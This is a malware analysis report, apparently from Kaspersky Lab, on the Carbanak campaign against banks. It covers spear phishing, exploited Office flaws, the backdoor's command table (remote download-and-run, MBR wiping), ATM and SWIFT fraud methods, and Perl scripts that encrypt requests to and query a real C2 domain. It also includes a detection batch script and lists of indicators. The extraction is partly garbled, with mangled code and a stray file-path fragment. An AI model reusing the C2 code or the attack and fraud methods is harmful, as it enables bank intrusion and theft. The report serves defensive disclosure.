The motivation for the attackers, who are making use of techniques commonly seen in Advanced Persistent Threats (APTs), appears to be financial gain as opposed to espionage.
An analysis of the campaign has revealed that the initial infections were achieved using spear phishing emails that appeared to be legitimate banking communications, with Microsoft Word 97 2003 (.doc) and Control Panel Applet (.CPL) files attached.
We believe that the attackers also redirected toexploit kits website traffic that related to financial activity.
The email attachments exploit vulnerabilities in Microsoft Office 2003, 2007 and 2010 (CVE-2012-0158 and CVE-2013-3906) and Microsoft Word (CVE-2014- 1761).
Once the vulnerability is successfully exploited, the shellcode decrypts and executes the backdoor known as Carbanak.
Carbanak is a remote backdoor (initially based on Carberp), designed for espionage, data exfiltration and to provide remote access to infected machines.
Once access is achieved, attackers perform a manual reconnaissance of the victims networks.
Based on the results of this operation, the attackers use different lateral movement tools in order to get access to the critical systems in the victims infrastructure.
They then install additional software such as the Ammyy Remote Administration Tool, or even compromise SSH servers.
Notably, some of the latest versions of the analyzed Carbanak malware appear not to use any Carberp source code.
Once the attackers successfully compromise the victims network, the primary internal destinations are money processing services, Automated Teller Machines (ATM) and financial accounts.
In some cases, the attackers used the Society for Worldwide Interbank Financial Telecommunication (SWIFT) network to transfer money to their accounts.
In others, Oracle databases were manipulated to open payment or debit card accounts at the same bank or to transfer money between mailto:intelreports40kaspersky.com?subject 4 TLP: White For any inquiries, please contact intelreportskaspersky.com accounts using the online banking system.
The ATM network was also used to dispense cash from certain ATMs at certain times where money mules were ready to collect it.
As part of the attacks reconnaissance phase, video recordings of the activities of bank employees, particularly system administrators, were made.
The videos were sent to the C2 server.
Please note that the attackers abused the aforementioned services by impersonating legitimate local users who had the permissions to perform the actions later reproduced by the cybercriminals.
As far as we know, none of the aforementioned services were attacked nor was any specific vulnerability within them exploited.
Of the 100 banking entities impacted at the time of writing this report, at least half have suffered financial losses, with most of the victims located in Russia, USA, Germany, China and Ukraine.
The magnitude of the losses is significant.
For example, one victim lost approximately 7.3 million (USD) due to ATM fraud another suffered a 10 million (USD) loss due to the exploitation of its online banking platform.
Stolen funds were transferred out of the affected countries to bank accounts in the US and China.
Additionally some of the C2 servers have log entries indicating connections to systems located in the US.
Telemetry indicates that the attackers are expanding operations to other regions, such as Asia, the Middle-East, Africa and Europe.
This report discusses the attack vectors, infection mechanisms and toolkits used by the attackers to exploit the network after the initial infection, as well as the operational details and geographical distribution of this campaign.
5 TLP: White For any inquiries, please contact intelreportskaspersky.com 2.
Analysis During the spring of 2014, Kaspersky Lab was involved in a forensic analysis of ATMs dispensing cash to people located near them but with no physical interaction according to security cameras.
No malware was detected on these ATMs.
However, Carberp-like malware was found on a computer that was connected to them via VPN.
Following the investigation of this incident, in the summer of 2014, Kaspersky Lab identified the same Carberp-like malware in another investigation involving a bank, where criminals were able to gain access to its online banking systems.
In this investigation, we started analyzing all the computers in the banks infrastructure in order to find the source of the infection.
We found spear phishing emails with CPL files attached that, after a successful infection, install the same Carberp-like malware we had previously found in the case involving the ATMs.
There is evidence indicating that in most cases the network was compromised for between two to four months, and that many hundreds of computers within a single victim organization may have been infected.
This period of time was used by the attackers to get access to the right victims and critical systems, and to learn how to operate their tools and systems to get the cash out.
Carbanak contains an espionage component that allows the attackers to take control of video capabilities on the victim systems.
Thanks to this, long term observation and reconnaissance could be conducted.
This allowed the attackers to understand the protocols and daily operational tempo of their targets.
Based on this understanding, exploitation methodologies and mechanisms were developed and tailored to each victim.
2.1 Infection and Transmission All observed cases used spear phishing emails with Microsoft Word 97 2003 (.doc) files attached or CPL files.
The doc files exploit both Microsoft Office (CVE- 2012-0158 and CVE-2013-3906) and Microsoft Word (CVE- 2014-1761).
There are indicators that point to a possible Chinese origin for the exploits used in these attachments.
Command and Control (C2) servers located in China have been identified in this campaign.
In addition, registration information for some of the domains use details of supposedly Chinese citizens.
Obviously, all this could just be a red herring.
6 TLP: White For any inquiries, please contact intelreportskaspersky.com The targets were all employees affiliated to the affected institution.
The spear phishing email messages appeared legitimate and in some cases were sent from compromised coworkers accounts.
In this way compromised systems were used as a transmission vector.
Given that the victims were mostly Russian-speaking financial institutions, the names of the attachments we have identified were generally in Russian.
Examples include -115 and which translate into Accordance to Federal Law and Invitation respectively.
This is enough to induce a typical employee to open the attachment and execute the malware.
For a complete list of file names see Appendix 4.
The following is an example of a Carbanak spear phishing email: Translated: In this case, the attachment was a CPL file compressed using the Roshal Archive (.rar) format.
Once the remote code execution vulnerability is successfully exploited, it installs Carbanak on the victims system.
The complete list of observed spear phishing emails can be found in Appendix 1 Spear phishing.
An additional infection vector that we believe was used by the criminals is aclassical drive-by-download attack.
We have found traces of the Null and theRedKit exploits kits.
7 TLP: White For any inquiries, please contact intelreportskaspersky.com Figure 1.
Null Exploit Kit statistics on victims, found in one Carbanak C2 The image above translates as Country_name, All visitors, Unique visitors, Banned visitor, Revoked infections, Infected.
|
121
|
Example of a typical Carbanak request: Carbanak sends its collected monitoring data to its C2 server.
| 28,171
| 28,365
| 195
|
data/reports_final/0121.txt
|
Example of a typical Carbanak request: Carbanak sends its collected monitoring data to its C2 server.
It also receives commands.
The commands are compared with a hash table if there is a match Carbanak performs the associated action: Hash Command Description 0AA37987 Executes all commands stored in the configuration file.
7AA8A5 state Sets malware state flag.
7CFABF video Sends captured screen or process window video to C2.
6E533C4 download Downloads and runs executable file from C2.
Executable file is stored in TEMP with a random name.
684509 ammyy Downloads and run Ammy Admin remote control software and adds it to the systems firewall exclusion list.
7C6A8A5 update Malware update.
0B22A5A7 Monitoring configuration update (klgconfig.plug).
0B77F949 Unknown.
10 TLP: White For any inquiries, please contact intelreportskaspersky.com Hash Command Description 7203363 killos Kills the operating system through the following actions: 1- Puts in ImagePath registry [HKLM\SYSTEM\ControlSet001\ services\ACPI], [HKLM\SYSTEM\ControlSet002\services\ACPI] and [HKLM\SYSTEM\CurrentControlSet\services\ACPI] bad data.
2- Writes bytes with value zero into the first 512 bytes of hardrive \\.\PHYSICALDRIVE0.
Then reboots.
78B9664 reboot OS reboot.
7BC54BC tunnel Creates network tunnel to specified network address, routing all traffic there.
7B40571 adminka Uses specified proxy settings.
79C9CC2 server Changes CC server.
7C9C2 user Creates or deletes user.
78B0 rdp Modifies termsrv.dll, csrsrv.dll, msgina.dl and winlogon.
exe modules.
Modification allows multiple connections via RDP protocol and makes RDP persistent.
79BAC85 secure Loads and overwrites .dll responsible for passwords policy.
New .dll location points to Notification Packages [HKLM\ System\ CurrentControlSet\Control\Lsa] registry key.
6ABC del Deletes specified service or file.
0A89AF94 Executes specified command hash.
79C53BD Loads and executes file from specified network location.
File executes in memory and is not stored on the harddrive.
0F4C3903 Sends local user system password to C2.
0BC205E4 screenshot Creates and sends screenshots.
7A2BC0 sleep Turns off malware activity for a specified period of time.
6BC6C dupl Unknown.
4ACAFC3 Uploads specified file or directory.
7D43 vnc Establish VNC session.
9C4D055 Unknown.
2032914 Unknown.
11 TLP: White For any inquiries, please contact intelreportskaspersky.com In order to render the malware less suspicious, the latest Carbanak samples aredigitally signed: 1.
footprintcrsgn.dll MD5 08F83D98B18D3DFF16C35A20E24ED49A Figure 2.
Carbanak digital signature 12 TLP: White For any inquiries, please contact intelreportskaspersky.com 2.
PAExec_Move0.dat MD5 972092CBE7791D27FC9FF6E9ACC12CC3 Figure 3.
Carbanak digital signature 13 TLP: White For any inquiries, please contact intelreportskaspersky.com One of Carbanaks lateral movement tools is also digitally signed: 3.
PAExec-6980-PB-FS-01.ex_ MD5 86A5C466947A6A84554843D852478248 Figure 4.
Carbanak lateral movement tool digital signature 14 TLP: White For any inquiries, please contact intelreportskaspersky.com Geographical Distribution Known samples of Carbanak have been uploaded to VirusTotal from the following locations: Figure 5.
Countries from which Carbanak has been uploaded Known exploits that download Carbanak have been uploaded to VirusTotal mostly from Russia.
15 TLP: White For any inquiries, please contact intelreportskaspersky.com According to KSN data, victims are distributed geographically as follows: Figure 6.
Geographical distribution of victims according to KSN data The analyzed Carbanak samples, excluding some obvious outliers, have thefollowing compilation time distribution: Figure 7.
Carbanak compilation timestamp distribution 16 TLP: White For any inquiries, please contact intelreportskaspersky.com It is also very interesting to see the distribution of Carbanak submissions to VirusTotal.
This way we can identify periods when the malware came to the attention of potential victims and security researchers, and helps to reveal peaksin the groups activity: Figure 8.
Distribution of Carbanak submissions to VirusTotal Since the beginning of this case, Kaspersky Lab has worked in cooperation with the LEAs investigating it.
During the investigation LEAs shared with us statistical data from their research that helped us to complete our picture of the campaign.
17 TLP: White For any inquiries, please contact intelreportskaspersky.com The following map shows targets IP addresses found in three of Carbanaks Linux servers at the end of October 2014: Figure 9.
Geographical distribution of targets according to C2 data 18 TLP: White For any inquiries, please contact intelreportskaspersky.com Figure 10.
Geographical distribution of victims according to C2 data 2.3 Lateral movement tools Carbanak uses different tools on infected systems, each one with a different purpose.
There appears to be a preference for the Ammyy Admin remote administration tool for remote control.
Specifically, the attackers have been detected uploading: Ammyy Admin 3.5 (f8cd52b70a11a1fb3f29c6f89ff971ec) as svchost.exe It is believed that the attackers used this remote administration tool because itis commonly whitelisted in the victims environments as a result of being usedregularly by administrators.
In another instance, a Secure Shell (SSH) backdoor was used to communicate with the C2 server in 190.97.165.126 (operatemesscont.net).
This indicates that the attackers did not limit themselves to Microsoft Windows environments.
In this case, the victim used the Telnet/SSH client PuTTY to connect to the server, and the attackers recompiled the machines SSH daemon with a backdoor so they could gain direct access.
Logs for these tools indicate that they were accessed from two different IPs, probably used by the attackers, and located in Ukraine and France.
We have also found traces of many different tools used by the attackers inside the victims network to gain control of additional systems, such as Metasploit, PsExec or Mimikatz.
19 TLP: White For any inquiries, please contact intelreportskaspersky.com 2.4 Command and Control (C2) Servers There appear to be four distinct types of C2 servers: Linux servers used for issuing commands to deployed Carbanak instances and for receiving collected monitoring data Windows servers used for remote connections to victim systems Backup servers and Drop servers where additional executable files (e.g.
remote administration tools) are hosted.
Server rotation occurs more or less on a biweekly basis.
For a complete list of identified Carbanak servers please check the regularly updated Carbanak IOC document.
The current list of IOCs is provided at Appendix 3 in his document.
Some of these C2 servers are responsible for dropping Ammyy (configuration and executable files), the KLG plugin configuration (list of processes to monitor) and the VNC server (both 32 and 64 bits to be injected in rundll).
In one of the observed servers there was also a Metasploit module.
Figure 11.
Carbanak administration panel running in Linux 20 TLP: White For any inquiries, please contact intelreportskaspersky.com Figure 12.
Carbanak administration panel running in Linux, list of plugins Figure 13.
Carbanak administration panel running in Windows able to run RDP, VNC, proxy and tunnels via Carbanak Victim systems are catalogued in the servers databases.
The victims belong toa number of different communities, thus simplifying administration.
In all, 85different victims belonging to seven communities were found.
21 TLP: White For any inquiries, please contact intelreportskaspersky.com Attackers operational details Additionally, the malicious servers contain video files that capture a victims activity.
While the videos are stored using a compressed format which provides poor image quality, the selected format minimizes upload bandwith and is of sufficient quality for the attackers to understand the victims activities.
The video file naming conventions used the name of the application in the foreground (e.g., Outlook, Cmd, etc.)
and only recorded user activity.
This helped the attackers to both navigate to files of interest and to discard superfluous files.
Figure 14.
Special video player designed to watch Carbanaks video stream Using the intelligence gained from video and other monitoring techniques, the attackers developed an operational picture of the victims workflow, tooling and practices.
This picture helps the attackers to deploy their malicious operations, for example: Attackers created fake transactions in the victims internal database after theverification process, thus avoiding discovery of the fraudulent activity Attackers used the victims internal command utilities to insert fraudulent operations in the transaction queue.
In general, the attackers demonstrated great versatility, using attack methodologies best suited to a specific victims operational methodology.
However, they seemed to deliberately limit the amount of money stolen per victim to 10 million USD.
This limit may be explained as the maximum amount 22 TLP: White For any inquiries, please contact intelreportskaspersky.com of money that can be transferred via mule services, or the maximum amount of money that is budgeted in banks for fraud risks in order to minimize the chances of LEAs and the banks anti-fraud teams from doing a full blown analysis.
Figure 15.
List of PIN KVC used on ATMs Sensitive bank documents have be found on the servers that were controlling Carbanak.
They included classified emails, manuals, crypto keys, passwords andso on.
For example, the file in the above figure has KVC (key verification codes) keys that are used by ATMs to check the integrity of the PIN numbers of its users.
In other cases involving ATMs, the criminals were able to control computers that had access to the internal ATM network.
If the bank had enabled remote access to ATMs, the criminals started using this access to remotely withdraw cash.
Criminals used no malware to operate the ATM dispenser instead they used standard utilities to control and test ATM equipment.
23 TLP: White For any inquiries, please contact intelreportskaspersky.com 3.
Conclusions Malware targeting the finance industry (both companies and consumers) continues to evolve.
The Carbanak malware used in the on-going campaign described in this report has been very successful in terms of generating revenue.
Of particular interest are the attack methods, similar to those used in sophisticated cyber-espionage APTs.
As such, they represent a new and disturbing trend in the cybercrime market of increasing attack sophistication.
Despite increased awareness of cybercrime within the financial services sector, it appears that spear phishing attacks and old exploits (for which patches have been disseminated) remain effective against larger companies.
Attackers always use this minimal effort approach in order to bypass a victims defenses.
Advanced control and fraud detection systems have been used for years by the financial services industry.
However, these focus on fraudulent transactions within customer accounts.
The Carbanak attackers bypassed these protections, by for example, using the industry-wide funds transfer (the SWIFT network), updating balances of account holders and using disbursement mechanisms (the ATM network).
In neither of these cases did the attackers exploit a vulnerability within the service.
Instead, they studied the victims internal procedures and pinpointed who they should impersonate locally in order to process fraudulent transactions through the aforementioned services.
It is clear that the attackers were very familiar with financial services software and networks.
As part of an automated reconnaissance phase, the Carbanak malware checked victim systems for the presence of specialized and specific banking software.
Only after the presence of banking systems was confirmed, were victims further exploited.
To date, attacks against approximately 300 IP addresses around the world have been observed on analyzed C2s.
It is possible that these attacks were coordinated to maximize returns prior to industry-wide information sharing and the implementation of countermeasures.
Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries, the Middle East, Asia and Africa.
Carbanak may be responsible for losses as high as 1 billion USD.
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers.
APTs are not only for stealing information anymore.
24 TLP: White For any inquiries, please contact intelreportskaspersky.com APPENDIX 1: C2 protocol decoders Decryptor /usr/bin/perl -w Work with Carbanak c2 use strict use warnings use Crypt::CBC use Crypt::Cipher::RC2 use MIME::Base64 use LWP::Simple my c2 worldnewsonline.pw my reguest 1234567890123456 my reguest_was JybDHkfWGURJPuWeUpPMX/ca9BThbDim0Hdk/9YzkJS7m8a19tz QwZxo1vvQ/r/7SHJcCm4tdpZGp.dmDwKf MjpWBM18eX8VUiimyaUZMGoClZ6eShS9tLCK tuHvlMQ3Dc26y90FbPIua.7LGHGZCBPj.vd08DUENC5oAE4V fyUz.shtml reguest_was tr/\/\\\?//d my replace my find.shtml reguest_was s/\Qfind\E//g reguest_was s/-//g reguest_was s/\./\//g print reguest_was\n my iv substr reguest_was,0,8 reguest_was substr reguest_was,8 my base64_decoded1 decode_base64(reguest_was) print base64_decoded1\n my length length(base64_decoded1) print length is: length\n print iv is: iv\n print req is: reguest_was\n my base64_decoded base64_decoded1 my key vfDGbiwmiqdN6E2N my key 1234567812345678 my cipher Crypt::CBC-new( -cipherCipher::RC2, -headernone, -literal_key1, -keykey, keysize16, -iviv ) my plaintext cipher-decrypt(base64_decoded) print Decode:\ nplaintext\n Decrypt is HWUMRbvuwKQCrkOhuckIXpdFgtdnew0878802c8004333a3datalistprocesspro cesssvchost.exeidproce ss4294967295lBHReFDRDfYG my url http://c2/base64_encoded print url my contents get(url) print contents 25 TLP: White For any inquiries, please contact intelreportskaspersky.com Encryptor /usr/bin/perl -w Decrypt Carbanak c2 responce use strict use warnings use Crypt::CBC use Crypt::Cipher::RC2 use MIME::Base64 use LWP::Simple my c2 worldnewsonline.pw my reguest HWUMRbvuwKQCrkOhuckIXpdFgtdnew0878802c8004333a3datalistprocesspro cesssvchost.exeidproces s4294967295lBHReFDRDfYG my iv JybDHkfW should be random my key vfDGbiwmiqdN6E2N my cipher Crypt::CBC-new( -cipherCipher::RC2, -headernone, -literal_key1, -keykey, keysize16, -iviv ) my ciphertext cipher-encrypt(reguest) my base64_encoded encode_base64(ciphertext) base64_encoded s/\x0a//g base64_encoded s/\//\./g base64_encoded s/\/-/g my base64_encoded_ex ivbase64_encoded.php my url http://c2/base64_encoded_ex print url http://worldnewsonline.pw/ GURJPuWeUpPMXca9BThbDim0Hdk9YzkJS7m8a19tzQwZxo1vvQr7SHJcCm4tdp ZGp.
dmDwKfMjpW.BM18eX8VUiimyaUZMGoClZ6eShS9tLCKtuHvlMQ3Dc26y90FbPIua.7LGHG ZCBPj.vd08D UENC5o.
AE4VfyUz..php my contents get(url) print contents http://worldnewsonline.pw/GURJPuWeUpPMXca9BThbDim0Hdk9YzkJS7m8a19tzQwZxo1vvQr7SHJcCm4tdp http://worldnewsonline.pw/GURJPuWeUpPMXca9BThbDim0Hdk9YzkJS7m8a19tzQwZxo1vvQr7SHJcCm4tdp http://worldnewsonline.pw/GURJPuWeUpPMXca9BThbDim0Hdk9YzkJS7m8a19tzQwZxo1vvQr7SHJcCm4tdp 26 TLP: White For any inquiries, please contact intelreportskaspersky.com Decrypt Files from CnC /usr/bin/perl -w Decrypt Files from sended from c2 use strict use warnings use Crypt::CBC use Crypt::Cipher::RC2 use MIME::Base64 use LWP::Simple my fileARGV[0] open(DATA, file) open(DATA1, file) open(DATA2, file) binmode(DATA) binmode(DATA1) binmode(DATA2) my (data, n, offset) while ((n read DATA, data, 1, offset) 0) offset n my length offset my iv_len read DATA1, my iv, 8, 0 read DATA2, my crypt_data, length, 8 my key vfDGbiwmiqdN6E2N my cipher Crypt::CBC-new( -cipherCipher::RC2, -headernone, -literal_key1, -keykey, keysize16, -iviv ) my plaintext cipher-decrypt(crypt_data) print plaintext 27 TLP: White For any inquiries, please contact intelreportskaspersky.com APPENDIX 2: BAT file to detect infection echo off for /f a in (hostname) do set namea echo name del /f name.log 2 nul if exist c:\Documents and settings\All users\application data\ mozilla\.bin echo BIN detected name.log if exist SYSTEMROOT\System32\com\svchost.exe echo COM detected name.log if exist c:\ProgramData\mozilla\.bin echo BIN2 detected name.log if exist SYSTEMROOT\paexec echo Paexec detected name.log if exist SYSTEMROOT\Syswow64\com\svchost.exe echo COM64 detected name.log SC QUERY state all find SERVICE_NAME findstr Sys if qERRORLEVEL q0 SC QUERY state all find SERVICE_NAME findstr Sys name.log if not exist name.log echo Ok name.log xcopy /y name.log \\IP\logVirus 28 TLP: White For any inquiries, please contact intelreportskaspersky.com APPENDIX 3: IOC hosts IP/Domain name First seen in Type Source: Sample md5/Detection name/ System Comment 108.61.197.254 2014-07 Carbanaks Linux CnC 1046652E0AAA682F89068731FA5E8E50 112.78.3.142 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 118.163.216.107 2014-10 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 131.72.138.18 2014-11 Carbanaks Linux CnC Internet scan 141.60.162.150 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 146.185.220.200 2014-08 Carbanaks Linux CnC Victims logs 162.221.183.109 2014-12 Carbanaks Windows backconnect 1684a5eafd51852c43b4bca48b58980f 162.221.183.11 2014-12 Carbanaks Windows backconnect 1684a5eafd51852c43b4bca48b58980f 173.201.45.158 2014-10 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 173.237.187.203 2014-08 RedKit ExploitKit Victims logs Exploits drop zone that used to install Carbanak 174.143.147.168 2014-10 Related to Carbanak CnC of other malware used to install Carbanak 185.10.56.59 2014-08 Carbanaks Windows backconnect 551d41e2a4dd1497b3b27a91922d29cc 185.10.56.59:443 2014-07 Carbanaks Windows backconnect 4afafa81731f8f02ba1b58073b47abdf 185.10.58.175 2014-07 Carbanaks Linux CnC 4afafa81731f8f02ba1b58073b47abdf IP of financialnewsonline.
pw 188.138.16.214 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 188.138.98.105 2014-10 Carbanaks Windows backconnect 0AD4892EAD67E65EC3DD4C978FCE7D92 29 TLP: White For any inquiries, please contact intelreportskaspersky.com IP/Domain name First seen in Type Source: Sample md5/Detection name/ System Comment 188.40.224.76 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 190.97.165.126 2014-08 Related to Carbanak Victims logs Ip of SSHD backdoor installed after Carbanaks infection 194.44.218.102 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 195.113.26.195 2014-11 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 198.101.229.24 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 199.255.116.12 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 199.79.62.69 2014-07 Related to Carbanak Victims logs Exploits used to install Carbanak 204.227.182.242 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 208.109.248.146 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 209.222.30.5 2014-07 Carbanaks Windows backconnect 1046652E0AAA682F89068731FA5E8E50 216.170.117.7 2015-02 Carbanaks Linux Cnc 6ae1bb06d10f253116925371c8e3e74b 216.170.117.88 2015-02 Carbanaks Linux CnC 217.172.183.184 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 217.172.186.179 2014-10 Carbanaks Linux CnC Victims logs 218.76.220.106 2014-10 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 31.131.17.79 2014-09 Carbanaks plugin CnC Victims logs 31.131.17.81 2014-09 Carbanaks plugin CnC Victims logs CnC of other malware used after Carbanaks infection 32dsffds8743jsdf.
com 2014-10 Carbanaks Linux CnC 08f83d98b18d3dff16c35a20e24ed49a 30 TLP: White For any inquiries, please contact intelreportskaspersky.com IP/Domain name First seen in Type Source: Sample md5/Detection name/ System Comment 37.235.54.48 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 37.46.114.148 2014-10 Carbanaks Linux CnC Victims logs 37.59.202.124 2014-12 Carbanaks Linux CnC Internet scan 5.101.146.184 2014-10 Carbanaks Linux CnC Victims logs 5.135.111.89 2015-02 Carbanaks Windows backconnect 100d516821d99b09718b362d5a4b9a2f 5.61.32.118 2014-10 Carbanaks Windows backconnect 972092CBE7791D27FC9FF6E9ACC12CC3 5.61.38.52 2014-10 Carbanaks Windows backconnect 08f83d98b18d3dff16c35a20e24ed49a 50.115.127.36 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 50.115.127.37 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 55.198.6.56 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 61.7.219.61 2014-10 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 62.75.224.229 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 66.55.133.86 2014-10 Carbanaks Linux CnC 972092CBE7791D27FC9FF6E9ACC12CC3 67.103.159.140 2014-08 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 69.64.48.125 2014-10 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 74.208.170.163 2014-10 Related to Carbanak Victims logs Used by criminals to control infected machines 78.129.184.4 2014-10 Related to Carbanak Victims logs Used by criminals to control infected machines 31 TLP: White For any inquiries, please contact intelreportskaspersky.com IP/Domain name First seen in Type Source: Sample md5/Detection name/ System Comment 79.99.6.187 2014-08 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 81.4.110.128 2014-08 Related to Carbanak Victims logs Used by criyminals to control infected machines 83.16.41.202 2014-10 Related to Carbanak Victims logs Used by criminals to control infected machines 83.166.234.250 2014-10 Carbanaks Windows backconnect F66992766D8F9204551B3C42336B4F6D 83.246.67.58 2014-10 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 85.25.117.154 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 85.25.20.109 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 85.25.207.212 2014-10 Related to Carbanak Victims logs Used by criminals to control infected machines 87.106.8.177 2014-10 Related to Carbanak Victims logs Exploits used to install Carbanak 87.98.153.34 2014-10 Related to Carbanak Victims logs Used by criminals to control infected machines 88.198.184.241 2014-12 Carbanaks Windows backconnect 6AE1BB06D10F253116925371C8E3E74B 91.194.254.38 2014-07 Carbanaks Linux CnC 446c75b77836b776ec3f502fce48b014 91.194.254.90 2014-09 Carbanaks Linux CnC Victims logs 91.194.254.91 2014-09 Carbanaks Linux CnC Victims logs 91.194.254.92 2014-07 Carbanaks Linux CnC Internet scan 91.194.254.93 2014-07 Carbanaks Linux CnC Internet scan 91.194.254.94 2014-07 Carbanaks Linux CnC Internet scan 91.194.254.98 2014-07 Carbanaks Linux CnC Internet scan 32 TLP: White For any inquiries, please contact intelreportskaspersky.com IP/Domain name First seen in Type Source: Sample md5/Detection name/ System Comment 93.95.102.109 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 93.95.99.232 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 94.247.178.230 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection 95.0.250.113 2014-10 Related to Carbanak Victims logs CnC of other malware used after Carbanaks infection adguard.name 2014-07 Carbanaks Linux CnC Victims logs beefeewhewhush- eelu.biz 2014-07 Andromedas CC Victims logs CnC of other malware used to install Carbanak blizko.net 2014-07 Carbanaks Linux CnC Victims logs comixed.org 2014-12 Carbanaks Linux CnC 1684a5eafd51852c43b4bca48b58980f coral-trevel.com 2014-07 Carbanaks Linux CnC Internet scan datsun-auto.com 2014-04 Carbanaks Linux CnC cb915d1bd7f21b29edc179092e967331 di-led.com 2014-07 Carbanaks Linux CnC 446c75b77836b776ec3f502fce48b014 financialnewson- line.pw 2014-07 Carbanaks Linux CnC 4afafa81731f8f02ba1b58073b47abdf financialwiki.pw 2014-07 Carbanaks Linux CnC 4afafa81731f8f02ba1b58073b47abdf flowindaho.info 2014-07 Carbanaks Linux CnC reverse IP 91.194.254.93 freemsk-dns.com 2014-08 Carbanaks Linux CnC reverse IP 146.185.220.200 gjhhghjg6798.com 2014-10 Carbanaks Linux CnC 972092CBE7791D27FC9FF6E9ACC12CC3 glonass-map.com 2014-12 Carbanaks Linux CnC 6AE1BB06D10F253116925371C8E3E74B great-codes.com 2014-10 Carbanaks Linux CnC 0AD4892EAD67E65EC3DD4C978FCE7D92 icafyfootsinso.ru 2014-08 Related to Carbanak Victims logs Used by criminals to control infected machines idedroatyxoaxi.ru 2014-08 Related to Carbanak Victims logs CnC of other malware used to install Carbanak 33 TLP: White For any inquiries, please contact intelreportskaspersky.com IP/Domain name First seen in Type Source: Sample md5/Detection name/ System Comment ivaserivaseeer.biz 2014-08 Related to Carbanak Victims logs CnC of other malware used to install Carbanak microloule461soft- c1pol361.com 2014-10 Carbanaks Linux CnC F66992766D8F9204551B3C42336B4F6D microsoftc1pol361.
com 2014-10 Carbanaks Linux CnC F66992766D8F9204551B3C42336B4F6D mind-finder.com 2014-07 Carbanaks Linux CnC 0AD4892EAD67E65EC3DD4C978FCE7D92 operatemesscont.
net 2014-08 Connect to infected sshd Victims logs Used by criminals to control infected machines paradise-plaza.com 2014-07 Carbanaks Linux CnC Internet scan public-dns.us 2014-08 Carbanaks Linux CnC reverse IP 146.185.220.200 publics-dns.com 2014-07 Carbanaks Linux CnC Internet scan systemsvc.net 2014-11 Carbanaks Linux CnC reverse IP 131.72.138.18 system-svc.net 2014-11 Carbanaks Linux CnC reverse IP 131.72.138.18 traider-pro.com 2014-12 Carbanaks Linux CnC reverse IP 91.194.254.94 travel-maps.info 2014-07 Carbanaks Linux CnC reverse IP 91.194.254.38 update-java.net 2014-08 Carbanaks Linux CnC reverse IP 146.185.220.200 veslike.com 2014-07 Carbanaks Linux CnC Internet scan wefwe3223wfdsf.
com 2014-10 Carbanaks Linux CnC 08f83d98b18d3dff16c35a20e24ed49a worldnews24.pw 2014-08 Carbanaks Linux CnC 551d41e2a4dd1497b3b27a91922d29cc worldnewsonline.pw 2014-08 Carbanaks Linux CnC 551d41e2a4dd1497b3b27a91922d29cc 34 TLP: White For any inquiries, please contact intelreportskaspersky.com APPENDIX 4: Spear phishing This section contains details on spear phishing emails sent by the attackers to infect victims.
MD5: 8fa296efaf87ff4d9179283d42372c52 Name of attachment: - 115 24.06.2014.doc Drops executable: MD5: a1979aa159e0c54212122fd8acb24383 (Carbanak) Compiled Mon Apr 04 20:00:57 2011 (Probably fake) C2 on update- java.net C2 key 1234567812345678 RDP on 37.235.54.48:443 MD5: 665b6cb31d962aefa3037b5849889e06 Name of attachment: .doc Drops executable: MD5: 4afafa81731f8f02ba1b58073b47abdf (Carbanak) Compiled Tue Jul 01 03:20:06 2014 Connects to: financialnewsonline.pw/FYocDxXpn5MXsHwZX/kLUAbd3w2/uUTsarcVKYk2W3B6hnc Z/Gafh8U1W805Lo0N/np7E3ICR6qx8keLDJZqUGXJKBDzfc6VYz9TNIlktObQ.htm (185.10.58.175) C2 on financialnewsonline.pw, financialwiki.pw C2 key TXeyuryWcIuzxkWnyu RDP on 185.10.56.59:443 MD5: 2c395f211db2d02cb544448729d0f081 Name of attachment: new.doc Drops executable: MD5: 551d41e2a4dd1497b3b27a91922d29cc (Carbanak) Compiled Mon Aug 04 01:10:40 2014 Connects to: http://worldnewsonline.pw/JybDHkfWGURJPuWeUpPMX/ca9BThbDim0Hdk/9YzkJS7 m8a19tzQwZxo1vvQ/r/7SHJcCm4tdpZGp.dmDwKfMjpWBM18eX8VUiimyaUZMGoClZ6 eShS9tLCKtuHvlMQ3Dc26y90FbPIua.7LGHGZCBPj.vd08DUENC5oAE4VfyUz.shtml C2s on worldnewsonline.pw, worldnews24.pw C2 key JDvkyfhZxkMmDSwUkqvReIvC RDP on 185.10.56.59:443 MD5: 31e16189e9218cb131fdb13e75d0a94f Name of attachment: - .doc Drops executable: MD5: 4e107d20832fff89a41f04c4dff1739b (Carbanak) C2 on public- dns.us C2 key 1234567812345678 RDP on 37.235.54.48:443 35 TLP: White For any inquiries, please contact intelreportskaspersky.com MD5: 